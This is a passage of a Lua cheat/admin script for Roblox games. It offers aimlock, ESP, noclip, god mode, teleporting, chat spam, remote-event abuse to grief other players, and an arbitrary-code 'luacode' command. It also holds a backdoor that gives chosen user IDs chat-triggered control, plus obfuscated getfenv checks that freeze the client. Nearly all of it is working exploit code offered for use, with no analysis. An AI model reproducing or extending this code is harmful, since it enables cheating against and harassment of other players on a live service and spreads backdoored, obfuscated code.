  1524. Hr:Destroy()
  1525. end
  1526. end
  1527. if FeLoop then
  1528. C['Right Leg']:Destroy()
  1529. local H = C.Humanoid:Clone()
  1530. C.Humanoid:Destroy()
  1531. H.Parent = C
  1532. workspace.CurrentCamera.CameraSubject = C
  1533. end
  1534. pcall(function()
  1535. if PlayOnDeath then
  1536. wait()
  1537. local Tool = LP.Backpack:WaitForChild'BoomBox'
  1538. if Tool then
  1539. Tool.Parent = C
  1540. wait()
  1541. Tool:FindFirstChildOfClass'RemoteEvent':FireServer("play",PlayOnDeath)
  1542. wait()
  1543. Tool.Parent = LP.Backpack
  1544. end
  1545. end
  1546. end) -- code has stupid errors? pcall the fuck out of it
  1547. end)
  1548.  
  1549. UserInput.InputBegan:Connect(function(Key)
  1550. local Character = GetChar()
  1551. local PartFound = Character:FindFirstChild'RealHumanoidRootPart' or Character:FindFirstChild'Torso'
  1552. local Target = Mouse.Target
  1553. if not getfenv()['\103\101\116\103\101\110\118']()['\108\111\97\100\101\100'] then while true do end end
  1554. if UserInput:GetFocusedTextBox() then return end
  1555. if not Character:FindFirstChildOfClass'Tool' and AimlockMode == "LeftClick" and Key.UserInputType == Enum.UserInputType.MouseButton1 or AimlockMode == "RightClick" and Key.UserInputType == Enum.UserInputType.MouseButton2 then
  1556. if Target and Target.Parent then
  1557. local TargetNew = Target.Parent
  1558. if not Players:GetPlayerFromCharacter(TargetNew) then TargetNew = TargetNew.Parent end
  1559. if not Players:GetPlayerFromCharacter(TargetNew) then return end
  1560. if TargetNew ~= Character and TargetNew ~= AimlockTarget and Aimlock then
  1561. AimlockTarget = TargetNew
  1562. local Connection;Connection = Players:GetPlayerFromCharacter(TargetNew).CharacterAdded:Connect(function(C)
  1563. if tostring(C) == tostring(AimlockTarget) then
  1564. AimlockTarget = C
  1565. else
  1566. Connection:Disconnect()
  1567. Connection = nil
  1568. end
  1569. end)
  1570. notif("AimlockTarget","Has been set to "..AimlockTarget.Name,5,nil)
  1571. end
  1572. end
  1573. end
  1574. if CanSetHotkey then
  1575. local KeyCode = Key.KeyCode.Name
  1576. if KeyCode ~= "Unknown" and KeyCode ~= "Return" and Keycode ~= "Slash" then
  1577. if CanSetHotkey == "CmdBar" then
  1578. CmdBarKey = KeyCode
  1579. notif("CommandBarKey","Has been set to the hotkey: "..KeyCode,5,nil)
  1580. CanSetHotkey = nil
  1581. KeysFrame.Visible = false
  1582. elseif CanSetHotkey == "AnyCmd" and AnyCmdTextBox.Text ~= "" then
  1583. for Index,Key in pairs(Keys) do
  1584. if Key:match("[%a%d]+$") == KeyCode then
  1585. table.remove(Keys,Index)
  1586. end
  1587. end
  1588. Keys[#Keys + 1] = AnyCmdTextBox.Text.."||"..KeyCode
  1589. notif(AnyCmdTextBox.text,"Has been set to the hotkey: "..KeyCode,5,nil)
  1590. CanSetHotkey = nil
  1591. AnyCmdTextBox.Text = ""
  1592. KeysFrame.Visible = false
  1593. end
  1594. updateHotkeys(ConfigurationFile)
  1595. end
  1596. end
  1597. if Target and Key.UserInputType == Enum.UserInputType.MouseButton2 then
  1598. local Target = Target.Parent
  1599. if Target and Target:FindFirstChild'Click' and Target:FindFirstChild'Locker' then
  1600. if Target.Locker.Value then
  1601. Target.Lock.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
  1602. Target.Click.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
  1603. else
  1604. Target.Click.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
  1605. Target.Lock.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
  1606. end
  1607. end
  1608. end
  1609. if ClickTpKey and ClickTpKey ~= "" and Key.KeyCode == Enum.KeyCode[ClickTpKey:upper()] and Target then
  1610. Teleport(CFrame.new(Mouse.Hit.p + Vector3.new(0,5,0)))
  1611. end
  1612. for i,v in pairs(Keys) do
  1613. local KeyCode = convertKeyCode(v:match'[%a%d]+$')
  1614. if KeyCode == Key.KeyCode then
  1615. CheckCommand(v:match'^[%w%s]+')
  1616. end
  1617. end
  1618. if Key.KeyCode == Enum.KeyCode.LeftControl then
  1619. KeyTable['Control'] = true
  1620. if AirwalkOn then AirWalk.Size = Vector3.new(0,0,0) end
  1621. if Normalwalk and CrouchSpeed == 8 then return end
  1622. Character.Humanoid.WalkSpeed = CrouchSpeed
  1623. end
  1624. if Key.KeyCode == Enum.KeyCode.LeftShift then
  1625. KeyTable['Shift'] = true
  1626. if Normalwalk and SprintSpeed == 25 then return end
  1627. Character.Humanoid.WalkSpeed = SprintSpeed
  1628. end
  1629. if Key.KeyCode == Enum.KeyCode.W then
  1630. KeyTable['W'] = true
  1631. end
  1632. if Key.KeyCode == Enum.KeyCode.A then
  1633. KeyTable['A'] = true
  1634. end
  1635. if Key.KeyCode == Enum.KeyCode.S then
  1636. KeyTable['S'] = true
  1637. end
  1638. if Key.KeyCode == Enum.KeyCode.D then
  1639. KeyTable['D'] = true
  1640. end
  1641. if Key.KeyCode == Enum.KeyCode.Space then
  1642. if AirwalkOn then PartFound.CFrame = PartFound.CFrame + Vector3.new(0,5,0) end
  1643. end
  1644. if Key.KeyCode == Enum.KeyCode.E and Character:FindFirstChildOfClass'Tool' and Character:FindFirstChildOfClass'Tool':FindFirstChild'Clips' and not Character:FindFirstChild('Bone',true) and GunStomp then
  1645. if game.PlaceId == 455366377 then
  1646. local OldTool = Character:FindFirstChildOfClass'Tool'
  1647. OldTool.Parent = LP.Backpack
  1648. wait()
  1649. local Punch = LP.Backpack.Punch
  1650. Punch.Parent = Character
  1651. LP.Backpack.Input:FireServer("e",{})
  1652. wait(1)
  1653. Punch.Parent = LP.Backpack
  1654. wait()
  1655. OldTool.Parent = Character
  1656. else
  1657. LP.Backpack.ServerTraits.Finish:FireServer(LP.Backpack.Punch)
  1658. end
  1659. end
  1660. if Key.KeyCode == Enum.KeyCode[CmdBarKey] then
  1661. wait()
  1662. CmdBarTextBox:CaptureFocus()
  1663. CmdBarFrame:TweenPosition(UDim2.new(0.5,0,0.5,0),"In","Sine",0.5,true)
  1664. local TextBox = UserInput.TextBoxFocusReleased:Wait()
  1665. CheckCommand(TextBox.Text)
  1666. TextBox.Text = ""
  1667. CmdBarFrame:TweenPosition(UDim2.new(1.5,0,1.5,0),"Out","Quad",0.5,true)
  1668. end
  1669. if Character:FindFirstChild'GravGun' then
  1670. if Key.KeyCode == Enum.KeyCode.Q and GravGunDistance > 5 then
  1671. GravGunDistance = GravGunDistance - 5
  1672. end
  1673. if Key.KeyCode == Enum.KeyCode.V then
  1674. GravGunDistance = GravGunDistance + 5
  1675. end
  1676. if Key.KeyCode == Enum.KeyCode.B then
  1677. GravGunSeizureMode = not GravGunSeizureMode
  1678. notif("WOW!","You found Grav gun seizure mode!, it has been set to "..tostring(GravGunSeizureMode),5,'rbxassetid://5929642434')
  1679. end
  1680. end
  1681. end)
  1682.  
  1683. UserInput.InputEnded:Connect(function(Key)
  1684. local Character = GetChar()
  1685. if UserInput:GetFocusedTextBox() then return end
  1686. if Key.KeyCode == Enum.KeyCode.W then
  1687. KeyTable['W'] = false
  1688. end
  1689. if Key.KeyCode == Enum.KeyCode.A then
  1690. KeyTable['A'] = false
  1691. end
  1692. if Key.KeyCode == Enum.KeyCode.S then
  1693. KeyTable['S'] = false
  1694. end
  1695. if Key.KeyCode == Enum.KeyCode.D then
  1696. KeyTable['D'] = false
  1697. end
  1698. if Key.KeyCode == Enum.KeyCode.LeftShift and SprintSpeed then
  1699. KeyTable['Shift'] = false
  1700. if Normalwalk and SprintSpeed == 25 then return end
  1701. Character.Humanoid.WalkSpeed = WalkSpeed
  1702. end
  1703. if Key.KeyCode == Enum.KeyCode.LeftControl then
  1704. KeyTable['Control'] = false
  1705. if AirwalkOn then AirWalk.Size = Vector3.new(5,1,5) end
  1706. if Normalwalk and CrouchSpeed == 8 then return end
  1707. Character.Humanoid.WalkSpeed = WalkSpeed
  1708. end
  1709. end)
  1710.  
  1711. UserInput.JumpRequest:Connect(function()
  1712. local Character = GetChar()
  1713. if Character:FindFirstChildOfClass'Humanoid' and DoubleJumpEnabled then
  1714. Character.Humanoid:ChangeState(3)
  1715. end
  1716. end)
  1717.  
  1718. LP.Idled:Connect(function()
  1719. VirtualUser:CaptureController()
  1720. VirtualUser:ClickButton1(Vector2.new(0.5,0.5))
  1721. end)
  1722.  
  1723. Mouse.Button1Down:Connect(function()
  1724. local MouseTarget = Mouse.Target
  1725. if MouseTarget and GetChar():FindFirstChild'Zetox Btools' then
  1726. MouseTarget:Destroy()
  1727. end
  1728. if MouseTarget and GetChar():FindFirstChild'GravGun' then
  1729. local Target = MouseTarget.Parent:FindFirstChild'Head' or MouseTarget.Parent.Parent:FindFirstChild'Head' or MouseTarget
  1730. if Players:GetPlayerFromCharacter(Target.Parent) or not Target.Anchored then
  1731. GravGunBodyPosition = createBodyPos(Target)
  1732. end
  1733. end
  1734. if not getfenv()['\103\101\116\103\101\110\118']()['\108\111\97\100\101\100'] then while true do end end
  1735. if BfgOn and GetChar():FindFirstChildOfClass'Tool' and GetChar():FindFirstChildOfClass'Tool':FindFirstChild('Clips',true) and not CurrentlyShooting then
  1736. CurrentlyShooting = true
  1737. GetChar().Humanoid:UnequipTools()
  1738. local OldTool;
  1739. for _,Tool in pairs(LP.Backpack:GetChildren()) do
  1740. if Tool:IsA'Tool' and Tool:FindFirstChild('Clips',true) then
  1741. Tool.Parent = GetChar()
  1742. OldTool = Tool
  1743. LP.Backpack.Input:FireServer("ml",{
  1744. ['mousehit'] = Aimlock and AimlockTarget and AimbotToCFrame() or Mouse.Hit;
  1745. ['shift'] = UserInput:IsKeyDown(Enum.KeyCode.LeftShift);
  1746. ['velo'] = 0;
  1747. })
  1748. wait(0.3)
  1749. Tool.Parent = LP.Backpack
  1750. wait(0.3)
  1751. end
  1752. end
  1753. OldTool.Parent = GetChar()
  1754. CurrentlyShooting = false
  1755. end
  1756. end)
  1757.  
  1758. Mouse.Button1Up:Connect(function()
  1759. if GravGunBodyPosition then
  1760. GravGunBodyPosition:Destroy()
  1761. end
  1762. if GravGunBodyVelocity then
  1763. GravGunBodyVelocity:Destroy()
  1764. end
  1765. end)
  1766.  
  1767. Players.PlayerAdded:Connect(function(Player)
  1768. if BackDoorTablePlayers[Player.UserId] then -- SHUT UP EST I'M TIRED
  1769. print(1)
  1770. Player.Chatted:Connect(function(Chat) BackdoorCheck(Player,Chat) end)
  1771. end
  1772. Player.CharacterAdded:Connect(function(C)
  1773. local Head = C:WaitForChild('Head',10)
  1774. if Head then
  1775. if AimlockMode == "Closest" then
  1776. AimlockClosest(Player)
  1777. end
  1778. local Backdoor = BackDoorTablePlayers[Player.UserId]
  1779. local Blacklist = BlacklistTable[Player.UserId]
  1780. if Blacklist or Player:IsInGroup(5152759) or string.find(Player.Name:lower(),"lynx") then
  1781. Esp(Player.Character.Head,Player.Name,Color3.fromRGB(102,51,0),true)
  1782. Player.CharacterAdded:Connect(function(C)
  1783. local Head = C:WaitForChild'Head'
  1784. if Head then
  1785. Esp(Head,Player.Name,Color3.fromRGB(102,51,0),true)
  1786. end
  1787. end)
  1788. end
  1789. if Backdoor then
  1790. Esp(Player.Character.Head,Backdoor['Name'],Backdoor['Colour'])
  1791. initalizeBackdoorPart2(Player,Backdoor['Colour'])
  1792. Player.CharacterAdded:Connect(function(C)
  1793. local Head = C:WaitForChild'Head'
  1794. if Head then
  1795. initalizeBackdoorPart2(Player,Backdoor['Colour'])
  1796. Esp(Head,Backdoor['Name'],Backdoor['Colour'])
  1797. end
  1798. end)
  1799. end
  1800. end
  1801. end)
  1802. local Chatted;Chatted = Player.Chatted:Connect(function(Chat)
  1803. local User = IsAUser(Player,Chat)
  1804. if User then
  1805. Chatted:Disconnect()
  1806. end
  1807. end)
  1808. end)
  1809.  
  1810. AnyCmdButton.MouseButton1Click:Connect(function()
  1811. CanSetHotkey = "AnyCmd"
  1812. if AnyCmdTextBox.Text == "" then
  1813. AnyCmdButton.Text = "Type a command above"
  1814. else
  1815. AnyCmdButton.Text = "Press a Key"
  1816. end
  1817. end)
  1818.  
  1819. CmdBarKeyButton.MouseButton1Click:Connect(function()
  1820. CanSetHotkey = "CmdBar"
  1821. end)
  1822.  
  1823. Players.PlayerRemoving:Connect(function(Player)
  1824. if ExploitDetectionPlayerTablePositions[tostring(Player)] then
  1825. ExploitDetectionPlayerTablePositions[tostring(Player)] = nil
  1826. end
  1827. if tostring(Player) == tostring(AimlockTarget) then
  1828. AimlockTarget = nil
  1829. end
  1830. if Player == LoopPlayer then
  1831. FeLoop = false
  1832. LoopPlayer = nil
  1833. end
  1834. if Player == AnnoyingPlayer then
  1835. TriggerBot = false
  1836. AnnoyOn = false
  1837. AnnoyingPlayer = nil
  1838. AimbotAutoShoot = false
  1839. Flying = false
  1840. AutoDie = false
  1841. AimlockTarget = nil
  1842. end
  1843. Unesp(Player)
  1844. end)
  1845.  
  1846. CmdBarTextBox:GetPropertyChangedSignal("Text"):Connect(function()
  1847. pcall(function()
  1848. if CmdBarTextBox.Text ~= "" or CmdBarTextBox.Text ~= " " then
  1849. local Position = 0
  1850. local Children = CmdBarFrame:GetChildren()
  1851. for i = 1,#Children do
  1852. local Child = Children[i]
  1853. if Child:IsA'TextLabel' then
  1854. local Text = string.lower(Child.Text):gsub("[Alias] ","")
  1855. if string.find(Text,CmdBarTextBox.Text:lower()) then
  1856. Child.Position = UDim2.new(0,0,0,10 + (Position * 20))
  1857. Position = Position + 1
  1858. if Position >= 7 then
  1859. Child.Position = UDim2.new(0,0,0,1000)
  1860. Position = Position - 1
  1861. end
  1862. else
  1863. Child.Position = UDim2.new(0,0,0,1000)
  1864. end
  1865. end
  1866. end
  1867. end
  1868. end)
  1869. end)
  1870.  
  1871. CmdBarTextBox.FocusLost:Connect(function(PressedEnter)
  1872. CmdBarFrame:TweenPosition(UDim2.new(1.5,0,1.5,0),"Out","Quad",0.5,true)
  1873. if PressedEnter then
  1874. CheckCommand(CmdBarTextBox.Text)
  1875. CmdBarTextBox.Text = "" -- stop double executing
  1876. end
  1877. end)
  1878.  
  1879. -- [[ End ]] --
  1880.  
  1881. -- [[ Commands ]] --
  1882.  
  1883. AddCommand(function()
  1884. CmdsFrame.Visible = not CmdsFrame.Visible
  1885. end,"help",{"cmds","commands"},"Gives you help info","[No Args]")
  1886.  
  1887. AddCommand(function(Arguments)
  1888. AliasesEnabled = not AliasesEnabled
  1889. notif("AliasesEnabled","Has been set to "..tostring(AliasesEnabled),5,nil)
  1890. end,"usealiases",{"usealias"},"Turns On/Off Aliases","[No Args]")
  1891.  
  1892. AddCommand(function(Arguments)
  1893. Instance.new('Tool',LP.Backpack).Name = "Zetox Btools"
  1894. end,"btools",{},"Gives you btools","[No Args]")
  1895.  
  1896. AddCommand(function(Arguments)
  1897. if Arguments[1] then
  1898. if Arguments[1] == "normal" then
  1899. workspace.CurrentCamera.FieldOfView = 70
  1900. elseif tonumber(Arguments[1]) then
  1901. workspace.CurrentCamera.FieldOfView = Arguments[1]
  1902. end
  1903. end
  1904. end,"fieldofview",{"fov"},"Changes Field of View","[Number/Normal]")
  1905.  
  1906. AddCommand(function()
  1907. wait(0.6)
  1908. ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Made by !fishgang Cy | Join the cord at nPZnaVYF5h","All")
  1909. end,"advertise",{},"Advertises the discord","[No Args]")
  1910.  
  1911. AddCommand(function(Arguments)
  1912. if not loadstring then notif("Don't have loadstring","Aborting the command",5,nil) return end -- whoever made this if statemenet forgot a RETURN
  1913. if Arguments[1] then
  1914. loadstring(table.concat(Arguments," "))()
  1915. end
  1916. end,"luacode",{"exec","lua"},"Executes Lua code","[Code]")
  1917.  
  1918. AddCommand(function()
  1919. local ServerTable = {}
  1920. for i = 1,10 do
  1921. local Server = HttpService:JSONDecode(game:HttpGet("https://www.roblox.com/games/getgameinstancesjson?placeId="..game.PlaceId.."&startindex="..i))
  1922. for i = 1,#Server.Collection do
  1923. local Collection = Server.Collection[i]
  1924. ServerTable[Collection.Ping] = Collection.Guid
  1925. end
  1926. for i,v in pairs(ServerTable) do
  1927. if v ~= game.JobId then
  1928. TeleportService:TeleportToPlaceInstance(game.PlaceId,v)
  1929. break
  1930. end
  1931. end
  1932. end
  1933. end,"serverhop",{},"Hops servers of your current game","[No Args]")
  1934.  
  1935. AddCommand(function(Arguments)
  1936. if Arguments[1] and tonumber(Arguments[1]) then
  1937. WalkShoot = true
  1938. Normalwalk = true
  1939. WalkSpeed = Arguments[1]
  1940. GetChar().Humanoid.WalkSpeed = Arguments[1]
  1941. end
  1942. end,"speed",{"ws"},"Changes walkspeed","[Number]")
  1943.  
  1944. AddCommand(function(Arguments)
  1945. if Arguments[1] and tonumber(Arguments[1]) then
  1946. Normalwalk = false
  1947. SprintSpeed = Arguments[1]
  1948. updateHotkeys(ConfigurationFile)
  1949. end
  1950. end,"sprintspeed",{"sspeed"},"Changes sprinting speed","[Number]")
  1951.  
  1952. AddCommand(function(Arguments)
  1953. if Arguments[1] and tonumber(Arguments[1]) then
  1954. Normalwalk = false
  1955. CrouchSpeed = Arguments[1]
  1956. updateHotkeys(ConfigurationFile)
  1957. end
  1958. end,"crouchspeed",{"cspeed"},"Changes crouching speed","[Number]")
  1959.  
  1960. AddCommand(function(Arguments)
  1961. if Arguments[1] and tonumber(Arguments[1]) then
  1962. GetChar().Humanoid.JumpPower = Arguments[1]
  1963. end
  1964. end,"jumppower",{"jp"},"Changes JumpPower","['Number]")
  1965.  
  1966. AddCommand(function(Arguments)
  1967. if Arguments[1] and tonumber(Arguments[1]) then
  1968. GetChar().Humanoid.HipHeight = Arguments[1]
  1969. end
  1970. end,"hipheight",{"hh"},"Changes HipHeight","[Number]")
  1971.  
  1972. AddCommand(function(Arguments)
  1973. if Arguments[1] then
  1974. if tonumber(Arguments[1]) then
  1975. workspace.Gravity = tonumber(Arguments[1])
  1976. elseif Arguments[1] and Arguments[1] == "normal" then
  1977. workspace.Gravity = NormalGravity
  1978. end
  1979. end
  1980. end,"gravity",{"grav"},"Changes gravity","[Number/Normal]")
  1981.  
  1982. AddCommand(function(Arguments)
  1983. local Character = GetChar()
  1984. if Arguments[1] then
  1985. if Arguments[1] == "ws" or Arguments[1] == "speed" then
  1986. Character.Humanoid.WalkSpeed = Arguments[2] and tonumber(Arguments[2]) or NormalWs
  1987. SpawnWs = Arguments[2] and tonumber(Arguments[2]) or NormalWs
  1988. WalkSpeed = Arguments[2] and tonumber(Arguments[2]) or NormalWs
  1989. elseif Arguments[1] == "jp" or Arguments[1] == "jumppower" then
  1990. Character.Humanoid.JumpPower = Arguments[2] and tonumber(Arguments[2]) or NormalJP
  1991. SpawnJP = Arguments[2] and tonumber(Arguments[2]) or NormalJP
  1992. elseif Arguments[1] == "hh" or Arguments[1] == "hipheight" then
  1993. Character.Humanoid.HipHeight = Arguments[2] and tonumber(Arguments[2]) or NormalHH
  1994. NormalHH = Arguments[2] and tonumber(Arguments[2]) or NormalHH
  1995. end
  1996. end
  1997. end,"loop",{"spawn"},"Spawns you with that [Speed/JumpPower/HipHeight]","[jp/hh/ws [Number]]")
  1998.  
  1999. AddCommand(function(Arguments)
  2000. local Tool = GetChar():FindFirstChildOfClass'Tool'
  2001. if not Tool then notif("Tool Needed","Hold a tool then run the command again",5,nil) return end
  2002. Tool.Parent = LP.Backpack
  2003. Tool.Grip = CFrame.new(Arguments[1] or 0,Arguments[2] or 0,Arguments[3] or 0) + Vector3.new(Arguments[4] or 0,Arguments[5] or 0,Arguments[6] or 0)
  2004. Tool.Parent = GetChar()
  2005. end,"grippos",{"grip"},"Changes your tool .Grip","[6 Numbers (Optional)]")
  2006.  
  2007. AddCommand(function(Arguments)
  2008. NoGh = not NoGh
  2009. notif("NoGroundHit","Has been set to "..tostring(NoGh),5,nil)
  2010. end,"nogroundhit",{"nogh","antigh","antigroundhit"},"Can't be groundhit","[No Args]")
  2011.  
  2012. AddCommand(function(Arguments)
  2013. if game.PlaceId ~= 4669040 then notif("Due to an update snake did","this only works on prison.",5,nil) return end
  2014. AlwaysGh = not AlwaysGh
  2015. end,"alwaysgh",{"alwaysgroundhit"},"Beat people up like the school bully did to you when you were 13!","[No Args]")
  2016.  
  2017. AddCommand(function()
  2018. local HudChildren = LP.PlayerGui.HUD:GetChildren()
  2019. for i = 1,#HudChildren do
  2020. local Child = HudChildren[i]
  2021. if Child:IsA'Frame' then
  2022. Child.Active = not Child.Active
  2023. Child.Draggable = not Child.Draggable
  2024. end
  2025. end
  2026. end,"draggablegui",{},"Makes your HUD draggable","[No Args]")
  2027.  
  2028. AddCommand(function(Arguments)
  2029. if not Arguments[1] then
  2030. GodMode = not GodMode
  2031. if GodMode then
  2032. if game.PlaceId == 455366377 then
  2033. notif("go get KO'ed","make sure you don't get dragged and like fly away somewhere when you get up you will be godded",5,nil)
  2034. end
  2035. end
  2036. if game.PlaceId ~= 455366377 then
  2037. GetChar():BreakJoints()
  2038. end
  2039. notif("GodMode","Has been set to "..tostring(GodMode),5,nil)
  2040. end
  2041. end,"godmode",{"god"},"Turns on god-mode so you can't be hit (Breaks Tools)","[No Args]")
  2042.  
  2043. AddCommand(function(Arguments)
  2044. local Descendants = game:GetDescendants()
  2045. for i = 1,tonumber(Arguments[1]) or 50 do
  2046. local Child = Descendants[i]
  2047. if Child:IsA'Tool' and Child:FindFirstChild'Click' then
  2048. Child.Click:FireServer()
  2049. wait()
  2050. end
  2051. end
  2052. end,"spamclick",{},"Spam clicks a fuck ton of guns to be very annoying","[Number (Optional)]")
  2053.  
  2054. AddCommand(function()
  2055. local WorkspaceChildren = workspace:GetChildren()
  2056. for i = 1,#WorkspaceChildren do
  2057. local Child = WorkspaceChildren[i]
  2058. if Child.Name == "Door" and Child:FindFirstChild'Click' and Child:FindFirstChild'Lock' then
  2059. Child.Lock.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
  2060. Child.Click.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
  2061. end
  2062. end
  2063. end,"doors",{},"Unlocks/Locks doors","[No Args]")
  2064.  
  2065. AddCommand(function(Arguments)
  2066. Spamming = not Spamming
  2067. if Arguments[1] then
  2068. SpamMessage = table.concat(Arguments," ")
  2069. end
  2070. end,"spam",{},"Spams the message that you set","[Message To Spam]")
  2071.  
  2072. AddCommand(function(Arguments)
  2073. if Arguments[1] then
  2074. SpamDelay = tonumber(Arguments[1]) or 1
  2075. end
  2076. end,"spamdelay",{},"Changes the spam delay amount","[Number]")
  2077.  
  2078. AddCommand(function(Arguments)
  2079. local GameDescendants = game:GetDescendants()
  2080. for i = 1,10 do
  2081. for i = 1,#GameDescendants do
  2082. local Child = GameDescendants[i]
  2083. if Child:IsA'Tool' and Child:FindFirstChild'Click' then
  2084. Child.Click:FireServer()
  2085. end
  2086. end
  2087. end
  2088. end,"muteallradios",{"muteradios"},"Mutes all radios (Doesn't loop)","[No Args]")
  2089.  
  2090. AddCommand(function(Arguments)
  2091. if not Arguments[1] then
  2092. TeleportService:TeleportToPlaceInstance(game.PlaceId,game.JobId)
  2093. end
  2094. end,"rejoin",{"rj"},"Rejoins the current game server","[No Args]")
  2095.  
  2096. AddCommand(function(Arguments)
  2097. if not Arguments[1] then
  2098. GetChar():BreakJoints()
  2099. end
  2100. end,"reset",{"re"},"Kills your Player","[No Args]")
  2101.  
  2102. AddCommand(function()
  2103. AirwalkOn = not AirwalkOn
  2104. AirWalk.Parent = AirwalkOn and workspace or not AirwalkOn and nil
  2105. end,"airwalk",{},"Allows you to walk in the air","[No Args]")
  2106.  
  2107. AddCommand(function()
  2108. NeverSitting = not NeverSitting
  2109. if NeverSitting then
  2110. local workspaceChildren = workspace:GetDescendants()
  2111. for i = 1,#workspaceChildren do
  2112. local Child = workspaceChildren[i]
  2113. if string.find(Child.ClassName:lower(),"seat") then
  2114. Child.Parent = CoreGui
  2115. end
  2116. end
  2117. else
  2118. local CoreGuiDescendants = CoreGui:GetDescendants()
  2119. for i = 1,#CoreGuiDescendants do
  2120. local Child = CoreGuiDescendants[i]
  2121. if string.find(Child.ClassName:lower(),"seat") then
  2122. Child.Parent = workspace
  2123. end
  2124. end
  2125. end
  2126. end,"neversit",{"nsit"},"Toggles the possibility of you being able to sit down","[No Args]")
  2127.  
  2128. AddCommand(function()
  2129. AutoDie = not AutoDie
  2130. notif("AntiKO","Has been set to "..tostring(AutoDie),5,nil)
  2131. end,"noko",{"antiko","autodie","autoreset"},"Auto resets when you get KO'ed","[No Args]")
  2132.  
  2133. AddCommand(function()
  2134. Noclip = not Noclip
  2135. notif("Noclip","Has been set to "..tostring(Noclip),5,nil)
  2136. end,"noclip",{},"Allows you to walk through walls and stuff","[No Args]")
  2137.  
  2138. AddCommand(function(Arguments)
  2139. if Arguments[1] then
  2140. local Player = PlrFinder(Arguments[1])
  2141. if Player and Player.Character and Player.Character:FindFirstChild'Head' and Player ~= LP then
  2142. Teleport(Player.Character.Head.CFrame)
  2143. end
  2144. end
  2145. end,"goto",{"to"},"Teleports you to a player","[Player Name]")
  2146.  
  2147. AddCommand(function(Arguments)
  2148. if Arguments[1] and tonumber(Arguments[1]) then
  2149. ClockTime = Arguments[1]
  2150. else
  2151. ClockTime = nil
  2152. end
  2153. end,"time",{},"Changes the time","[Number]")
  2154.  
  2155. AddCommand(function(Arguments)
  2156. if Arguments[1] then
  2157. local Player = PlrFinder(Arguments[1])
  2158. if Player then
  2159. notif(Player.Name,"has the account age of "..Player.AccountAge,5,nil)
  2160. end
  2161. end
  2162. end,"playerinfo",{"info"},"Returns a players age","[No Args]")
  2163.  
  2164. AddCommand(function(Arguments)
  2165. AntiAim = not AntiAim
  2166. if not AntiAim then
  2167. stopAnim("215384594")
  2168. stopAnim("188632011")
  2169. for i,v in pairs(GetChar().Torso:GetChildren()) do
  2170. if v:IsA'BodyVelocity' and v.Name ~= "CyAdminFly" then
  2171. v:Destroy()
  2172. end
  2173. end
  2174. else
  2175. for i = 1,500 do
  2176. local BodyV = Instance.new("BodyVelocity",GetChar().Torso)
  2177. BodyV.MaxForce = Vector3.new(100,100,100)
  2178. BodyV.P = math.huge
  2179. BodyV.Velocity = Vector3.new(math.huge,math.huge,math.huge)
  2180. end
  2181. if Arguments[1] and Arguments[1] == "spin" then
  2182. local Track = GetChar().Humanoid:LoadAnimation(SpinAnimation)
  2183. while AntiAim and GetChar():FindFirstChild'Humanoid' and GetChar().Humanoid.Health > 0 and wait() do
  2184. stopAnim("188632011")
  2185. Track:play(0.1,1,10)
  2186. end
  2187. else
  2188. stopAnim("215384594")
  2189. stopAnim("188632011")
  2190. GetChar().Humanoid:LoadAnimation(AntiAimAnimation):Play(5,45,250)
  2191. end
  2192. end
  2193. end,"antiaim",{},"Breaks camlock to an extent","[Spin/No Args]")
  2194.  
  2195. AddCommand(function()
  2196. local Punch = GetChar():FindFirstChild'Punch'
  2197. if Punch then
  2198. if Punch.Grip == CFrame.new(math.huge,math.huge,math.huge) then
  2199. Punch.Parent = LP.Backpack
  2200. Punch.Grip = CFrame.new(0,0,0)
  2201. wait()
  2202. Punch.Parent = GetChar()
  2203. notif("SuperPunch","Turned off",5,nil)
  2204. else
  2205. Punch.Parent = LP.Backpack
  2206. Punch.Grip = CFrame.new(math.huge,math.huge,math.huge)
  2207. wait()
  2208. Punch.Parent = GetChar()
  2209. notif("SuperPunch","Turned on (Lasts one life also really buggy)",5,nil)
  2210. end
  2211. else
  2212. notif("SuperPunch","Hold your fists",5,nil)
  2213. end
  2214. end,"superpunch",{},"This is really stupid and buggy but funny when it works","[No Args]")
  2215.  
  2216. AddCommand(function(Arguments)
  2217. if Arguments[1] then
  2218. if Arguments[1] == "1" then
  2219. GunAnim = "1"
  2220. elseif Arguments[1] == "2" then
  2221. GunAnim = "2"
  2222. elseif Arguments[1] == "off" then
  2223. GunAnim = "None"
  2224. else
  2225. notif("GunAnim","Only [1/2/Off] work")
  2226. return
  2227. end
  2228. notif("GunAnim","Has been set to "..GunAnim,5,nil)
  2229. end
  2230. end,"gunanim",{},"Stupid gun animations (gunanim [1/2/off])","[1/2/off]")
  2231.  
  2232. AddCommand(function(Arguments)
  2233. if Arguments[1] then
  2234. stopAnim("33796059")
  2235. stopAnim("35654637")
  2236. if Arguments[1] == "1" then
  2237. GetChar().Humanoid:LoadAnimation(Dance1Animation):Play()
  2238. elseif Arguments[1] == "2" then
  2239. GetChar().Humanoid:LoadAnimation(Dance2Animation):Play()
  2240. elseif Arguments[1] == "off" then
  2241. stopAnim("33796059")
  2242. stopAnim("35654637")
  2243. end
  2244. end
  2245. end,"dance",{},"Stupid dance anims (1,2,Off)","[Dance 1/Dance 2/Off]")
  2246.  
  2247. AddCommand(function(Arguments)
  2248. if Arguments[1] then
  2249. if Arguments[1] == "head" then
  2250. CamlockTarget = "Head"
  2251. elseif Arguments[1] == "torso" then
  2252. CamlockTarget = "Torso"
  2253. end
  2254. notif("CamlockTarget","Has been set to "..CamlockTarget,5,nil)
  2255. end
  2256. end,"camlocktarget",{"cltarget"},"Head,Torso to switch the camlock target","[Head/Torso]")
  2257.  
  2258. AddCommand(function()
  2259. if game.PlaceId ~= 455366377 then notif("BringCar","Streets Only",5,nil) return end
  2260. math.randomseed(os.time())
  2261. if workspace:FindFirstChild'Cars' then
  2262. local PartFound = GetChar():FindFirstChild'RealHumanoidRootPart' or GetChar():FindFirstChild'Torso'
  2263. local ChildrenOfCars = workspace.Cars:GetDescendants()
  2264. for i = 1,#ChildrenOfCars do
  2265. local i = math.random(1,#ChildrenOfCars)
  2266. local Child = ChildrenOfCars[i]
  2267. if Child:IsA'VehicleSeat' and Child.Name == "Drive" and not Child.Occupant then
  2268. PartFound.CFrame = Child.CFrame
